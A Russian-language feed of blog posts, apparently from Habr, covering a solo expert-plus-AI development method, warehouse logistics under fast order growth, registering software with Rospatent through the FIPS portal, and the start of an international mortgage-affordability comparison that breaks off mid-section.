Что растущее ТЗ снимает — это необходимость держать в голове операционную инвентаризацию: какие конкретные задачи стоят в очереди, что уже сделано, что забыто, в какой сессии они должны быть выполнены, в каком порядке. Эта детализация переезжает в живой документ.

Цельная картина — в голове. Детальная инвентаризация — в ТЗ. Без первого второе бесполезно. И это к слову про порог входа: метод не «упрощает работу», он сдвигает ее в другую плоскость, где экспертное мышление становится критичнее, а память на детали — менее необходимой.

Что значит «3 дня»

Это не «все готово». Это продукт, который можно передать команде.

И вот здесь — главное отличие от шестимесячного процесса с подрядчиком. У подрядчика к шестому месяцу не было ни HANDOFF‑документа, ни чеклиста, ни описания «как не сломать систему». В работе с растущим ТЗ все это появилось автоматически — не потому что кто‑то лучше, а потому что методология растущего ТЗ порождает документацию как побочный эффект. Каждая задача описана. Каждое решение зафиксировано. Передача — это просто прочитать файл.

Кому подойдет метод

Не каждому.

Работает, если есть:

Цельная картина продукта в голове. Без этого растущее ТЗ становится плоским списком без приоритетов.
Готовность вести документацию параллельно с работой. ТЗ — не отчет после факта, а живой документ, растущий прямо в процессе.
Привычка проверять каждый шаг до перехода к следующему. Без этой дисциплины растущее ТЗ превратится в свалку.
Дисциплина формулировок. Отдельная большая тема — как именно нужно говорить с AI, чтобы получать неповерхностные ответы. Об этом — следующим текстом.

Не работает для:

Команды разработчиков. Растущее ТЗ — для одного человека + AI. У команды появляется проблема синхронизации.
Регуляторных продуктов, где ТЗ должно быть зафиксировано заранее (банки, медицина, госзаказ).
Продуктов, где цена ошибки в одной итерации очень высока (продакшн с миллионами пользователей).

Главное

Дело не в скорости.

Дело в том, что появилась новая профессиональная единица: «эксперт + AI». Эксперт здесь — не «эксперт в коде». Эксперт — это тот, кто знает задачу. Тот, кто может посмотреть на отчет и сказать «здесь не так, потому что multi‑pack искажает медиану в два раза».

Я не разработчик. Но я знаю задачу. Знаю, какой результат должен получить закупщик. Знаю, что в Индонезии маркетплейсы работают на Bahasa и что без перевода запроса выдача в три раза меньше. Знаю, что b2b‑закупщик не верит круглым числам и хочет видеть проверяемый источник цены.

Это и было причиной, по которой 3 дня хватило. Не AI. Знания задачи + AI хватило.

«6 месяцев vs 3 дня» — это не про то, что один лучше другого. Это про то, что сжимать цикл «гипотеза → проверка → коррекция» в 50 раз — это другой режим работы. В этом режиме одни вещи возможны, другие — теряют смысл.

Если сейчас в голове возник вопрос «а можно ли так быстро?» — попробуйте. На следующей маленькой задаче. С правилом «каждая проверка результата = новая задача в ТЗ». Через неделю напишите, что получилось.

Быстрый оборот убивает медленный склад: почему рост заказов ломает логистику

Wed, 10 Jun 2026 15:04:47 +0000

Склад перестает справляться не только из-за нехватки людей или площади. Часто причина проще: бизнес уже работает на другой скорости, а склад всё ещё живёт по старым правилам.

Подключили маркетплейсы, развили e-commerce, добавили доставку день в день — и нагрузка выросла не линейно. Выручка может прибавить 30–40%, а количество складских операций — в 2–3 раза. Бизнес видит рост продаж. Склад видит больше строк, коробок, этикеток, статусов, возвратов и срочных уточнений.

В этот момент всплывают старые «мы так привыкли»: бумажный отбор, неточные остатки, упаковка в ручном режиме, статусы задним числом, зависимость от пары опытных сотрудников. Раньше это было неудобно. Теперь начинает стоить денег.

Эта статья — о том, почему быстрый оборот ломает медленный склад, какие участки проседают первыми и что менять, чтобы склад выдерживал рост без ежедневного героизма.

Выручка растёт на 30–40%, а число складских операций — в 2–3 раза. Склад видит не рубли, а строки, коробки и этикетки.

Почему склад перестает справляться при росте заказов

Склад может стабильно работать при 150 заказах в день и начать срывать сроки при 450. При этом команда, помещение, стеллажи и учетная система остаются теми же.

Чаще всего склад просто спроектирован под другой режим: меньше заказов, крупнее партии, больше времени на уточнения, ниже требования к статусам и срокам отгрузки.

Когда бизнес подключает маркетплейсы, развивает e-commerce или вводит доставку день в день, меняется не только количество заказов. Растет число действий: отбор, проверка, упаковка, печать этикеток, закрытие статусов, работа с возвратами и ручными исключениями.

Реальную нагрузку на склад показывает не оборот в рублях, а количество операций.

Что изменилось в товарообороте

Покупатель привык видеть наличие товара, срок отгрузки и статус заказа. Это уже не только B2C. В B2B клиенты тоже хотят понимать, есть ли товар, когда он уедет и что происходит с заказом.

Маркетплейсы добавили к этому временные окна, рейтинги, штрафы, статусы, лимиты отмен и требования к маркировке. Если заказ не собран вовремя, площадке всё равно, что у вас «приемка немного задержалась». В системе будет нарушение.

Для коммерческого отдела маркетплейс — новый канал продаж. Для склада — резкий рост мелких операций. Рост выручки не всегда означает такой же рост пропускной способности.

Например:

Было	Стало
150 заказов в день	450 заказов в день
6–8 строк в заказе	1–2 строки в заказе
Отгрузка партиями	Отдельная упаковка на каждый заказ
Статус обновляется вручную	Статус нужен почти в реальном времени
Часть заказов можно перенести на завтра	Есть жесткое временное окно

Оборот в рублях может вырасти умеренно. Но действий в отборе, упаковке и закрытии заказов становится кратно больше.

И здесь начинается то, что потом называют «склад не справился».

Что такое медленный склад

Медленный склад — не обязательно плохой склад. Это склад, рассчитанный на спокойный поток заказов.

Он может быть рабочим и понятным для команды. У него может быть нормальный начальник склада, опытные кладовщики и приемлемая точность отгрузок. Проблема начинается, когда скорость заказов становится выше, чем допускает текущая организация процессов.

Обычно такой склад держится на четырех вещах.

Память сотрудников

Опытные кладовщики знают, где лежит товар, какие упаковки похожи, какие поставщики часто ошибаются, какие клиенты требуют особой комплектации.

На небольшом потоке это помогает. Человек быстро находит товар даже без точного адресного хранения, исправляет неточности и подсказывает новичкам.

При росте заказов такая модель не масштабируется. Слишком много решений проходит через одних и тех же людей. Опытный кладовщик постепенно превращается в справочную службу склада.

Ручное управление сменой

Старший смены распределяет людей по ситуации: часть на приемку, часть на отбор, часть на срочные заказы. Приоритеты часто живут в голове руководителя или в рабочем чате.

При 150 заказах это работает. При 450 ручное управление начинает запаздывать. Решения принимаются уже после того, как очередь выросла и начала мешать соседним участкам.

Склад не управляет потоком. Он его догоняет.

Бумага и Excel

Листы подбора, отметки ручкой, отдельные таблицы для статусов, ручное обновление остатков допустимы при низкой скорости. Есть время сверить, уточнить, исправить.

При высоком потоке информация доходит до системы позже, чем товар физически перемещается по складу. Для e-commerce это уже роскошь.

Товар может быть собран, но статус ещё не закрыт. Может быть продан, но остаток ещё доступен. Может быть в приемке, но отдел продаж его не видит.

Переработки

Если склад не успевает, люди остаются после смены. Один раз — бывает. Постоянно — это уже не аврал, а модель управления.

Переработки часто маскируют системную проблему. В отчетах склад вроде справился. Просто для этого люди каждый день доплачивают своим временем.

Как быстрый оборот ломает складской процесс

Быстрый оборот редко ломает склад целиком. Обычно сначала проседает один участок. Потом он начинает тормозить остальные.

Один медленный участок создаёт очередь. Комплектовщики приносят заказы быстрее, чем упаковка успевает их закрывать — и тормозит весь поток.

1. Появляются очереди внутри склада

Склад — это цепочка операций:

Получить заказ

↓

Назначить отбор

↓

Найти товар

↓

Отобрать

↓

Проверить

↓

Упаковать

↓

Напечатать этикетку

↓

Передать в отгрузку

↓

Закрыть статус в системе

Если один участок работает медленнее остальных, перед ним появляется очередь. При небольшом объеме она может рассосаться сама. При высоком потоке становится постоянной.

Типичный пример — упаковка. Комплектовщики приносят заказы быстрее, чем упаковщики успевают их обработать. Заказы скапливаются на тележках и в проходах. Часть уже проверена, часть ждет этикетку, часть непонятно в каком состоянии.

Со стороны кажется, что проблема в упаковщиках. Обычно нет. Проблема в том, что процесс не показывает очередь, приоритет и статус каждого заказа.

2. Ошибки начинают повторяться сериями

На небольшом складе ошибка часто остается единичной. Товар положили не туда, один комплектовщик не нашел позицию, старший смены помог, заказ собрали.

При высоком обороте та же ошибка влияет сразу на десятки заказов.

Например, товар после приемки поставили не в ту ячейку. За утро эта позиция нужна в 20 заказах. Комплектовщики приходят по старому адресу, не находят товар, откладывают заказы, зовут старшего смены и тратят время на поиск.

Одна ошибка в адресе превращается в цепочку ручных разборов.

Или в системе остался товар, которого физически уже нет. Заказы продолжают падать в работу, менеджеры подтверждают наличие, склад не может собрать.

Высокая скорость делает качество данных критичным. Ошибки в остатках, адресах, статусах и партиях быстро превращаются в очередь ручных разборов.

Почему найм не решает проблему

Когда склад перестает успевать, первое решение кажется очевидным: нанять еще людей. Иногда без найма действительно не обойтись.

Но дополнительный персонал помогает только там, где процесс уже описан и управляем. Если склад держится на памяти опытных сотрудников, новые люди сначала создают дополнительную нагрузку.

Новичку нужно объяснить:

где искать товар;
как отличить похожие артикула;
куда ставить приход;
какие заказы срочные;
что делать при расхождении;
как понять фактический статус заказа.

Если ответы живут в головах старших сотрудников, каждый новый человек увеличивает количество вопросов. Склад получает больше рук, но не получает больше управляемости.

Найм без изменения процесса часто дает короткий эффект. Через несколько недель появляются те же очереди, только с большим ФОТ и большим количеством ручных согласований.

Если процесс кривой, новые люди просто быстрее начинают ходить по кривому маршруту.

Кейс: что происходит при росте с 200 до 600 заказов в день

Ниже — собирательный кейс по нескольким проектам. Цифры округлены, структура проблемы сохранена.

Компания — дистрибьютор товаров для дома: бытовая химия, аксессуары, расходные материалы, небольшая техника.

До подключения маркетплейса склад обрабатывал около 200 заказов в день. Основные каналы — оптовые клиенты и собственный интернет-магазин.

Процесс был ручным:

отбор по бумажным листам;
часть товаров без точного адресного хранения;
остатки обновлялись с задержкой;
статусы заказов закрывались вручную;
опытные кладовщики знали проблемные товары и помогали новичкам.

При 200 заказах склад справлялся. Если часть заказов не успевали закрыть к вечеру, их переносили на утро. Клиенты редко воспринимали это как критичную проблему.

Затем компания подключила маркетплейс по схеме FBS. Через два месяца поток вырос до 600 заказов в день.

Что сломалось первым

Первой проблемой стала упаковка.

Вместо крупных заказов пошли сотни мелких отправлений. Каждому заказу нужны отдельная упаковка, этикетка, проверка вложения и статус. Упаковочный участок стал постоянным ограничением.

Комплектовщики приносили заказы быстрее, чем упаковка успевала их закрывать. Заказы скапливались на тележках и в проходах. Статус каждого заказа приходилось уточнять вручную. Упаковка стала участком, где терялось состояние заказа: заказ попал туда, но дальше его статус знает только человек у стола.

Вторая проблема — остатки.

Заказ падал в работу, но товар не находили в ячейке. Иногда он был в зоне приемки, иногда стоял в другой ячейке, иногда уже ушел в оптовый заказ, но списание еще не обновилось.

Третья проблема — статусы.

Маркетплейс требовал точного соблюдения времени сборки и передачи заказа. Внутри склада статус часто не совпадал с физическим состоянием заказа. Коробка могла быть собрана, но не закрыта в системе. Или заказ числился готовым, хотя еще ждал этикетку.

Для склада это «почти готово». Для маркетплейса — просрочка.

Сколько стоил рост без перестройки склада

За первый месяц после роста до 600 заказов в день компания получила:

420 просроченных отправлений;
180 отмен из-за отсутствия товара;
95 ошибочных вложений;
310 часов переработок;
падение рейтинга продавца;
снижение видимости части карточек.

Прямые потери составили около 1,4 млн рублей за месяц.

Источник потерь	Сумма
Штрафы и удержания маркетплейса	280 000 ₽
Потерянная маржа по отменам	420 000 ₽
Переработки склада	260 000 ₽
Повторная доставка и обработка ошибок	210 000 ₽
Дополнительная упаковка, пересборка, ручные разборы	120 000 ₽
Время менеджеров и поддержки	110 000 ₽
Итого	1 400 000 ₽

Больше всего денег съели не сами штрафы, а ручные разборы вокруг остатков, упаковки и статусов.

Что изменили в процессе

Сначала компания попыталась закрыть проблему наймом. Добавили четырех кладовщиков и двух упаковщиков.

Найм снял часть нагрузки на несколько недель, но не убрал очередь в упаковке, расхождения в остатках и ручное закрытие статусов. Поэтому дальше меняли процесс:

ввели адресное хранение для ходовых SKU;
разделили потоки: маркетплейс, опт, интернет-магазин;
сделали отдельную зону отбора для быстрых товаров рядом с упаковкой;
убрали бумажные листы подбора;
перевели отбор на терминалы сбора данных;
добавили контроль вложения через сканирование;
настроили статусы: принято в работу, собрано, проверено, упаковано, передано в отгрузку;
увеличили частоту синхронизации остатков с маркетплейсом.

Через шесть недель склад вышел на 700 заказов в день без регулярных вечерних переработок.

Показатель	Было	Стало
Заказов в день	600	700
Просроченных отправлений в месяц	420	35
Ошибочных вложений в месяц	95	12
Отмен из-за отсутствия товара	180	40
Переработки	310 часов	около 100 часов

Склад не переезжал и не увеличивал штат пропорционально росту заказов. Изменилась организация потока: адреса, статусы, зоны, правила отбора и контроль ошибок.

Какие статусы нужны складу при быстром обороте

При высоком потоке заказов недостаточно знать только «заказ создан» и «заказ отгружен». Между этими точками слишком много операций, где заказ может застрять.

Статусы показывают, где застрял поток, а раздельный учёт остатков (физический, доступный, зарезервированный, проблемный) убирает отмены из-за «товара, которого нет»

Минимальная статусная модель:

Статус	Что означает
Принят в работу	Заказ попал в складской контур
Назначен на отбор	Система или старший смены выдали задание
В отборе	Комплектовщик начал сборку
Собран	Все позиции отобраны
Проверен	Вложение подтверждено сканированием
Упакован	Заказ готов к передаче
Передан в отгрузку	Заказ находится в зоне отгрузки
Отгружен	Заказ передан перевозчику или маркетплейсу
Исключение	Есть проблема: нет товара, пересорт, повреждение, ошибка маркировки

Статусы нужны не для красивой отчетности. Они показывают, где именно застревает поток.

Если 300 заказов висят в статусе «собран», проблема в проверке или упаковке. Если много заказов в статусе «исключение», нужно смотреть остатки, адреса или качество приемки. Если заказы долго не переходят из «принят в работу» в «назначен на отбор», проблема в диспетчеризации.

Без статусов склад управляется по ощущениям. А ощущения на пике обычно врут.

Как синхронизировать остатки при e-commerce и маркетплейсах

При быстром обороте остаток должен обновляться ближе к реальному времени. Если склад списывает товар раз в день, маркетплейс продолжает продавать позиции, которые уже ушли в опт или лежат в незакрытом заказе.

Для e-commerce и FBS критичны четыре типа остатков:

Тип остатка	Зачем нужен
Физический остаток	Что реально лежит на складе
Доступный остаток	Что можно обещать клиенту
Зарезервированный остаток	Что уже занято под заказы
Проблемный остаток	Что есть физически, но требует проверки

Если эти категории смешаны, начинаются отмены. Товар вроде есть, но его нельзя отгрузить. Или товар уже продан, но продолжает отображаться доступным.

На этом этапе WMS фиксирует правила потока: адреса, задания, статусы, контроль вложений, ограничения по остаткам и приоритеты отгрузки.

Что делать, если оборот растет быстрее склада

Если склад перестает справляться с ростом заказов, сначала нужно понять, какие операции создают ограничение: отбор, упаковка, приемка, статусы, остатки или передача заказов в отгрузку.

1. Посчитать нагрузку

Минимальный набор метрик:

строк в день;
заказов в день;
пиковые часы;
среднее количество строк в заказе;
количество упаковок;
время отбора;
время упаковки;
процент ошибок;
процент отмен;
количество ручных разборов;
фактическое время обновления остатков.

2. Найти участок с очередью

Начинать стоит с участка, перед которым постоянно копятся заказы: упаковка, приемка, проверка, отгрузка.

Именно он ограничивает весь склад.

3. Убрать зависимость от памяти сотрудников

Если новый кладовщик не может собрать заказ без постоянных вопросов к старшему, процесс не масштабируется.

Нужны адреса, задания, правила размещения, понятные статусы и контроль через сканирование.

4. Проверить остатки

Нужно понять, где остаток расходится с фактом: приемка, резерв, списание, возврат, обмен с маркетплейсом.

Чем быстрее оборот, тем меньше допустимое расхождение между физическим складом и данными в системе.

5. Проверить процесс на пике

Средний день ничего не показывает. Проблемы проявляются в понедельник утром, перед праздниками, во время распродаж, после рекламной акции, при сбое поставщика или при резком росте спроса на один SKU.

Склад, который работает только в средний день, работает до первого пика.

Как понять, что склад уже не соответствует скорости бизнеса

Есть несколько признаков, что склад работает выше нормальной пропускной способности:

заказы регулярно закрываются после смены;
старший смены постоянно вручную меняет приоритеты;
упаковка или приемка каждый день собирают очередь;
менеджеры уточняют наличие товара через мессенджер;
остатки в системе часто не совпадают с фактом;
новички долго не могут работать без помощи опытных сотрудников;
ошибки повторяются сериями;
маркетплейс снижает рейтинг из-за сроков, отмен или ошибок;
переработки стали постоянной частью графика.

Если есть два-три таких признака, проблема уже не в отдельном сотруднике и не в разовой нагрузке. Складская модель не соответствует текущей скорости бизнеса.

Что меняется после перестройки складского процесса

После перехода на управляемый поток заказ получает понятный статус на каждом этапе. Товар имеет адрес. Отбор выполняется по заданию, а не по памяти. Упаковка видит очередь и приоритет. Остатки обновляются ближе к реальному времени. Ошибки блокируются в процессе, а не разбираются после отгрузки.

Первые улучшения часто начинаются с простых шагов: выделить быстрые SKU, разнести потоки, убрать бумажный отбор, ввести контроль вложения, ускорить обновление остатков.

Дальше уже можно решать, нужна ли WMS, какая глубина автоматизации оправдана и какие зоны склада перестраивать в первую очередь.

Финал: быстрый оборот требует другой складской логики

Быстрый оборот требует склада с адресами, заданиями, статусами, актуальными остатками и контролем ошибок.

Если процесс держится на уточнениях, переработках и памяти старших сотрудников, он уже работает на пределе.

Следующий рост заказов увеличит не только выручку, но и количество срывов, отмен и ручных разборов.

Главный вопрос: что произойдет, если завтра поток вырастет в два раза?

Если ответ зависит от нескольких опытных людей, складской процесс пора перестраивать.

Инструкция: как зарегистрировать программу в Роспатенте за пару дней и 5 000 руб.?

ABP_LEGAL_ALEX — Wed, 10 Jun 2026 15:03:51 +0000

Зачем регистрировать программу?

Программы для ЭВМ защищаются как объекты авторского права с момента их создания, т.е. как только разработчик написал строку кода, она защищается сразу, без каких либо условностей. Достаточно чтобы ее можно было идентифицировать (отличить от других) и при ее создании был элемент творчества (код не ограничивался воспроизведением известных фрагментов).

Однако, у Роспатента есть такая особенная государственная услуга как "Регистрация программы для ЭВМ", под ней подразумевают по сути своей депонирование (помещение кода в репозиторий с указанием декларируемых данных автора и даты помещения).

Интересна она тем, что по итогу получается красивое свидетельство, которое любят использовать в маркетинговых материалах, а также для инвесторов. Пример свидетельства:

Не следует путать регистрацию программы для ЭВМ в Роспатенте с выдачей свидетельства (формальная проверка, средний срок регистрации 5 рабочих дней) с патентованием ИТ-решения в качестве изобретение (длительная проверка на новизну, изобретательский уровень, промышленную применимость; средний срок патентования 8-12 месяцев).

Регистрация ПО в Роспатенте может понадобиться в следующих случаях:

как подтверждения прав при включении в реестр российского софта (факультативно, можно без нее), а также для контрагентов
для удобства идентификации и учета в юридических документах - вместо того, чтобы идентифицировать программу через ее описание достаточно указать номер государственной регистрации
ряд региональных реестров стартапов (например, реестр стартапов Москвы) требует наличия зарегистрированной интеллектуальной собственности в Роспатенте для членства, быстрее и проще всего зарегистрировать именно программу для ЭВМ
в случае судебного разбирательства наличие такой регистрации облегчает подтверждение прав на код, суды на практике считают что данные государственного реестра достоверные "пока не доказано иное"

Она может быть осуществлена через Госуслуги, личный кабинет ФИПС или «на бумаге» в Роспатенте.

Пошаговая инструкция

Проще всего и быстрее зарегистрировать программу через личный кабинет ФИПС (https://new.fips.ru/office), но для этого необходима ЭЦП.

Для регистрации ПО через личный кабинет ФИПС, помимо ЭЦП, понадобится подготовить и получить следующие файлы:

файл с кодом в формате pdf.
депонируемые идентифицирующие материалы
согласие автора на обработку персональных данных
согласие автора на указание сведений об авторе
документ, подтверждающий оплату пошлины

Депонируемые идентифицирующие материалы оформляются следующим образом.

На титульном листе указывается название ПО, данные о правообладателе и авторе (если указывается), он конвертируется в pdf. и объединяется с кодом программы в один файл (Рис.1).

Язык программирования может быть любой - код не проверяют на оригинальность и даже работоспособность.

Рис.1. Пример титульного листа

2. Согласия авторов заполняются в случае их упоминания. Необходимо на каждого автора оформлять по два разных согласия.

Формы согласий утверждены Роспатентом, их можно скачать на шаге 7.

В согласии на обработку персональных данных необходимо поставить дату и подписать его (Рис.2).

Рис.2. Заполненное согласие на обработку персональных данных

В согласии автора на указание сведений об авторе заполняется информация об авторе, его творческом вкладе и правообладателе.

Согласие должны быть подписано автором, а также содержать подпись правообладателя или его представителя и печать компании (при наличии) (Рис.3).

Рис.3. Заполненное согласие автора на указание сведений об авторе

Для регистрации также необходимо оплатить пошлину. В настоящий момент она единого размера как для физических лиц, так и для юридических – 5 000 рублей.

Пошлина оплачивается по следующим реквизитам Роспатента (Рис.4):

Рис.4. Реквизиты для оплаты пошлины

В назначении платежа необходимо написать «Пошлина согласно п. 1 ст. 333.30 НК РФ, за регистрацию программы для ЭВМ, Заявитель: ООО «_______» / ФИО, Сумма 5000-00 Без налога (НДС).»

По документам все понятно, теперь давайте приступим к самому пользовательскому пути:

После регистрации или авторизации в личном кабинете необходимо выбрать «Подать заявку» и «Заявление о государственной регистрации программы для ЭВМ или базы данных» (Рис.5).

Рис.5. Личный кабинет

После этого откроется форма заявки, состоящая из 11 шагов.

Шаг 1. Нужно заполнить данные о лице, которое подает заявку.

Это может быть сам правообладатель, его представитель или патентный поверенный.

Заполняются фамилия, имя, отчество, должность и наименование юридического лица.

После заполнения нужно нажать «Далее» (Рис.6).

Важно: лучше периодически нажимать кнопку «Сохранить черновик», чтобы в случае технического сбоя не пришлось заполнять заявление заново.

Рис.6. Форма на шаге 1

Шаг 2. На этом этапе нужно заполнить 4 блока (Рис.7):

Персональные данные третьих лиц (содержатся или нет)
Тип объекта (программа или база данных)
Количество правообладателей
Основание возникновения права на объект

Рис.7. Форма на шаге 2

В блоке «Основание возникновения права» можно выбрать один из предложенных вариантов или написать свой (Рис.8):

Рис.8. Примеры оснований возникновения права

Шаг 3. Здесь все зависит от порядка создания объекта.

Если контракта не было, то выбираем «Не создан», в противном случае нужно выбрать конкретный контракт (Рис.9).

Рис.9. Форма на шаге 3 при отсутствии контракта

Если был контракт, то нужно заполнить информацию о нем, в том числе сведения о (Рис.10):

контракте (дата и номер)
заказчике и исполнителе
кому принадлежит исключительное право

Рис.10. Форма на шаге 3 при наличии контракта

Шаг 4. На этом шаге нужно заполнить сведения о правообладателе ПО в зависимости от статуса.

Для юридических лиц нужно указать (Рис.11):

организационно-правовую форму
наименование
ОГРН, ИНН
код страны места нахождения и адрес

Рис.11. Форма на шаге 4, если правообладатель юридическое лицо

Для физических лиц нужно указать (Рис.12):

фамилию, имя, отчество
код страны места жительства и адрес
СНИЛС, ИНН
документ, удостоверяющий личность, и его реквизиты

Рис.12. Форма на шаге 4, если правообладатель физическое лицо

Шаг 5. Здесь указываются сведения о программе (Рис.13):

название (можно любое, желательно без чужих товарных знаков и матов)
год создания, год и страна обнародования (если была обнародована)
реферат (краткое описание функционала, без жестких требований)
использованные языки программирования
особенности типа реализующей ЭВМ или другого компьютерного устройства
тип и версия ОС для запуска
объем в мб
количество авторов всего и количества авторов, отказавшихся быть упомянутыми

Рис.13. Форма на шаге 5

Шаг 6. На этом шаге указываются данные об авторах, если они будут упоминаться (Рис. 14):

фамилия, имя, отчество
дата рождения
гражданство
описание творческого вклада (лучше писать "разработка кода", т.к. в отношении "идейных вдохновителей" позиция Роспатента может быть неоднозначно - могут не признаваться авторами такие лица с юридической точки зрения)
упоминать или не упоминать под своим именем
псевдоним (при наличии)
код страны места жительства и адрес

Рис. 14. Форма на шаге 6, если автор упоминается

Шаг 7. На данном этапе необходимо подгрузить документы (Рис.15):

доверенность (если подает представитель)
подтверждение оплаты пошлины
идентифицирующие материалы (титульный лист + сам код)
материалы аудиовизуальных отображений (например, скриншоты интерфейса)
согласие автора на обработку персональных данных (если автор упомянут)
согласие автора на указание сведений об авторе (если автор упомянут)
Рис.15. Форма на шаге 7

Шаг 8. На этом шаге указываются контактные данные, по которым в случае необходимости эксперт может связаться с заявителем (Рис.16):

фамилия, имя, отчество
адрес для переписки
телефон и e-mail
дополнительные контакты

Рис.16. Форма на шаге 8

Шаг 9. На этом этапе нужно ввести реквизиты, подтверждающие оплату пошлины за регистрацию (Рис.17).

После ввода всех реквизитов нужно нажать «Найти платеж».

Можно отправлять заявление как с найденным платежом, так и без него.

Если платеж будет найден, то программа зарегистрируется автоматически и быстро – за пару часов.

Если же платеж не будет найден, то заявка уйдет к экспертам, которые будут рассматривать ее вручную, поэтому срок регистрации может быть примерно месяц.

Чтобы убедиться, что оплаченная пошлина дошла до Роспатента, можно проверить ее по реквизитам платежного документа на сайте https://rospatent.gov.ru/ru/forms/adbws.

Рис.17. Форма на шаге 9

Шаг 10. На данном этапе показывается сформированное заявление, которое нужно проверить на корректность заполненных сведений (Рис.18,19).

Если все верно, то нужно нажать «Далее» и перейти к последнему этапу.

Если нашли ошибку, то нужно вернутся на соответствующий шаг и исправить введенные данные.

Рис.18. Первая часть заявления на шаге 10

Рис.19. Вторая часть заявления на шаге 10

Шаг 11. Это заключительный этап, на котором происходит подписание заявления (Рис.20).

При наличии ЭЦП в окне «Выберите сертификат подписи» появятся предложенные сертификаты, среди которых нужно выбрать необходимый.

Затем нужно проставить галочки в чекбоксах и нажать «Подписать и отправить заявку».

Рис.20. Форма на шаге 11

После подписания заявки нужно вернутся в раздел «Заявки» в личном кабинете, где будет отображаться поданная заявка со статусом «Направлено» (Рис.21):

Рис.21. Пример заявки со статусом «Направлено»

Надпись «Заявка на программу ЭВМ» кликабельна, на нее можно нажать и посмотреть статус заявки.

После регистрации заявка будет отображаться со статусом «Принято», и у нее появится номер (Рис.22):

Рис.22. Пример заявки со статусом «Принято»

Если статус стал «Принято», то при нажатии на заявку откроется окно, в котором можно будет скачать уведомление Роспатента о регистрации, нажав на прикрепленный файл (Рис.23):

Рис.23. Страница с зарегистрированной заявкой

Уведомление о регистрации выглядит следующим образом (Рис.24,25):

Рис.24. Первая часть уведомления о регистрации

Рис.25. Вторая часть уведомления о регистрации

По ссылке на 2 странице можно будет скачать электронное свидетельство на программу и выписку. При нажатии на нее откроется такая страница с ссылками для скачивания (Рис.26):

Рис.26. Страница с электронным свидетельством и выпиской на ПО

После регистрации Роспатент направляет по адресу, указанному для переписки, бумажное свидетельство. Обычно оно приходит в течение месяца с регистрации.

Ух, вроде не так уж и сложно было. Всех кто самостоятельно пройдет этот пункт по инструкции и получит свидетельство - прошу отписаться в комментариях, буду рад если смог кому-то помочь.

Дешёвая ипотека за границей — а у нас?

scandinavi — Wed, 10 Jun 2026 15:01:42 +0000

Каждый раз когда в новостях мелькает ипотека в Европе под 3-4%, становится немного грустно. У нас-то под 19%. Но насколько у них реально лучше, если посчитать вместе с ценами на жильё и зарплатами?

Ставки: разрыв в 10 раз

Начнем с того, что все и так знают. Ипотечные ставки по странам:

Источник: Numbeo, середина 2025-2026. Россия (IT): ставка льготной IT-ипотеки от Минцифры.

Тут всё понятно. Япония и Швейцария около 2%.^[1] Европа 3-4%. США 6%. И Россия около 19%. На пике начала 2025 рыночная ставка вообще улетала за 30%.^[6]

Разница огромная. Даже льготная IT-ипотека под 6%^[5] соответствует ставке уровня США, самой дорогой ипотеки среди развитых стран.

Обычно на этом разговор и заканчивается. "У них 3%, у нас 19%, чего тут считать." Но ставка это только одна из трёх цифр. Есть ещё цена жилья и зарплата, и вот когда добавляешь их, всё перестаёт быть таким очевидным.

Дешево купить не значит дешево платить

Теперь посмотрим, сколько стоит сам квадратный метр. А рядом посчитаем ежемесячный платеж за квартиру 60 м².

Источник: Numbeo, цены за м² в центре города, середина 2025-2026. Платеж рассчитан для квартиры 60 м², 20% взнос, 20 лет, по рыночной ставке страны. По крупным странам (США, Россия) Numbeo даёт усреднённый по городам уровень, а не центр столицы (подробнее в сноске^[2]).

На левом графике цена квадратного метра. Россия и США самые дешевые, около $3 200-3 300 за м². Швейцария $19 500, в 6 раз дороже.^[2]

А теперь правый график, ежемесячный платеж. И тут начинается самое интересное.

Россия с самой дешевой ценой за метр оказывается на предпоследнем месте по ежемесячному платежу. $2 503 в месяц.^[2] Это дороже, чем в Германии, Великобритании, Нидерландах. Дороже, чем в странах, где метр стоит в 2 раза больше.

Потому что ставка под 19%^[1] превращает дешевую квартиру в дорогой кредит.

В рублях это выглядит так: квартира 60 м² в центре стоит примерно 13.9 млн рублей.^[2] Вносишь 20%, это 2.8 млн. Берешь кредит 11.1 млн. Ежемесячный платеж 180 тысяч рублей.

Главный вопрос: сколько от зарплаты

Но абсолютные цифры мало что говорят. Платеж $2 503 в месяц это много или мало? Зависит от того, сколько ты зарабатываешь. Поэтому я посчитал, какую долю зарплаты айтишник в каждой стране отдает за ипотеку.

Это, наверное, самый важный график в этой статье.

Источник зарплат: GEOR, Glassdoor, Хабр Карьера (2025-2026). Медианная зарплата IT-специалиста (gross) / ипотечный платеж за 60 м² в центре города.

Что здесь происходит.

США, 9%. Айтишник в Штатах отдает на ипотеку меньше десятой части зарплаты. Ставка самая высокая среди развитых стран (6.2%), но зарплата $147k в год при дешевом жилье делает свое дело.^[3]

Европа и Япония, 23-34%. Великобритания, Нидерланды, Испания, Япония, Германия отдают от четверти до трети зарплаты.^[3] Это примерно на границе комфорта (банки обычно считают 30% пределом). Франция чуть тяжелее, 34%.

Швейцария, 43%. Самая низкая ставка в мире (2.1%)^[1], но самое дорогое жилье. Метр в центре стоит $19 500.^[2] Даже со швейцарской IT-зарплатой в $133k/год^[3] это почти половина дохода.

Россия с IT-ипотекой, 43%. Больше 40% зарплаты. И это со льготной ставкой 6%^[5], которую еще надо умудриться получить.

Россия с рыночной ставкой, 98%. Почти вся зарплата. Медианная зарплата айтишника около 183 тысяч рублей в месяц^[4], а платеж по ипотеке за 60 м² в центре 180 тысяч. На еду и коммуналку остаётся 3 тысячи рублей.

Думаю, тут стоит уточнить. Это расчет для центра города, и 60 м² не самая маленькая квартира. Если смотреть на окраины и 40 м², числа будут не такими страшными. Но пропорции между странами не изменятся. И в этом весь смысл: сравнение на одинаковых условиях.

За 20 лет отдашь в 4 раза больше

Есть еще один неприятный эффект высокой ставки, который не так очевиден. Это переплата: сколько ты реально заплатишь банку за 20 лет сверх стоимости квартиры.

Тело кредита это сумма, которую ты занял (80% от цены квартиры). Переплата это проценты за 20 лет. Множитель показывает, во сколько раз итоговая сумма больше кредита.

В Японии и Швейцарии при ставке 2%^[1] за 20 лет отдаешь 1.2x, то есть переплата всего 22% от суммы кредита. Занял $267k^[2], отдашь $326k. Разумно.

В Европе (3-4%)^[1] переплата около 40%, множитель 1.4x. Тоже терпимо.

В России при ставке 19%^[1] множитель 3.9x. Занял 11.1 млн рублей^[2], отдашь около 43 млн. Переплата 32 млн, больше двух стоимостей самой квартиры ушло банку в виде процентов.

Даже с IT-ипотекой под 6%^[5] множитель 1.7x, то есть отдашь на 72% больше.

А что с IT-ипотекой

